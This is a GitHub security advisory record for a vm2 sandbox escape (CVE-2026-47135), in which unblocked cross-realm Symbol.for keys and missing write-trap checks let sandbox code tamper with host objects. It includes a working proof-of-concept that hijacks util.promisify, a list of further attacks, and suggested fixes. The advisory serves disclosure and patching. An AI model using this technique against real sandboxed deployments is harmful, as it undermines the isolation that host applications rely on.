{"ghsa_id":"GHSA-m5q2-4fm3-vfqp","cve_id":"CVE-2026-47135","url":"https://api.github.com/advisories/GHSA-m5q2-4fm3-vfqp","html_url":"https://github.com/advisories/GHSA-m5q2-4fm3-vfqp","summary":"vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks","description":"## Summary\n\nvm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full `util.promisify` hijack chain.\n\n## Root Cause\n\n**1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`):\n\n```js\nSymbol.for = function (key) {\n    const keyStr = '' + key;\n    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;\n    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;\n    return originalSymbolFor(keyStr); // everything else passes through\n};\n```\n\nOnly `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**:\n\n- `nodejs.util.promisify.custom`\n- `nodejs.stream.readable`\n- `nodejs.stream.writable`\n- `nodejs.stream.duplex`\n- `nodejs.stream.transform`\n- `nodejs.webstream.isClosedPromise`\n- `nodejs.webstream.controllerErrorFunction`\n\nNote: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source.\n\n**2. Missing symbol check in bridge write traps** (`bridge.js`):\n\nThe `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.\n\n**3. Incomplete filters in setup-sandbox.js**:\n\n`isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` — missing `promisify.custom` and all stream/webstream symbols.\n\n## Verified Exploitation: util.promisify Hijack\n\n```js\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function readFile(path, cb) { cb(null, 'real data'); };\nvm.setGlobal('hostFn', hostFn);\n\n// Sandbox writes promisify.custom to host function\nvm.run(`\n  const kPromisify = Symbol.for('nodejs.util.promisify.custom');\n  hostFn[kPromisify] = function(path) {\n    return Promise.resolve('HIJACKED by sandbox');\n  };\n`);\n\n// Host-side: promisified function now returns sandbox-controlled value\nconst asyncRead = util.promisify(hostFn);\nasyncRead('/etc/passwd').then(console.log);\n// Output: \"HIJACKED by sandbox\"\n```\n\n**Additional verified attacks:**\n\n- Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity\n- `Object.assign` propagates unblocked symbols from sandbox source to host target\n- `Object.defineProperty` with unblocked symbol key succeeds on host objects\n- `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties\n\n## Impact\n\n- **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.\n- **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values.\n- **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.\n\nThis is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.\n\n## Affected Versions\n\n- vm2 <= 3.11.2 (all 3.x versions)\n\n## Environment\n\n- Node.js v24.14.0\n- macOS (Darwin 25.4.0)\n\n## Suggested Fix\n\n1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols:\n\n```js\nSymbol.for = function (key) {\n    const keyStr = '' + key;\n    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);\n    return originalSymbolFor(keyStr);\n};\n```\n\n2. **`bridge.js`**: Add check to write traps:\n\n```js\nset(target, key, value, receiver) {\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    // ...\n}\n```\n\n3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-m5q2-4fm3-vfqp","source_code_location":"https://github.com/patriksimek/vm2","identifiers":[{"value":"GHSA-m5q2-4fm3-vfqp","type":"GHSA"},{"value":"CVE-2026-47135","type":"CVE"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp","https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47135","https://github.com/advisories/GHSA-m5q2-4fm3-vfqp"],"published_at":"2026-05-29T17:44:32Z","updated_at":"2026-06-12T19:30:02Z","github_reviewed_at":"2026-05-29T17:44:32Z","nvd_published_at":"2026-06-12T15:16:28Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","first_patched_version":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","score":8.7},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"credits":[{"user":{"login":"q1uf3ng","id":186373426,"node_id":"U_kgDOCxvVMg","avatar_url":"https://avatars.githubusercontent.com/u/186373426?v=4","gravatar_id":"","url":"https://api.github.com/users/q1uf3ng","html_url":"https://github.com/q1uf3ng","followers_url":"https://api.github.com/users/q1uf3ng/followers","following_url":"https://api.github.com/users/q1uf3ng/following{/other_user}","gists_url":"https://api.github.com/users/q1uf3ng/gists{/gist_id}","starred_url":"https://api.github.com/users/q1uf3ng/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/q1uf3ng/subscriptions","organizations_url":"https://api.github.com/users/q1uf3ng/orgs","repos_url":"https://api.github.com/users/q1uf3ng/repos","events_url":"https://api.github.com/users/q1uf3ng/events{/privacy}","received_events_url":"https://api.github.com/users/q1uf3ng/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","score":8.7},"epss":{"percentage":0.00266,"percentile":0.18538}}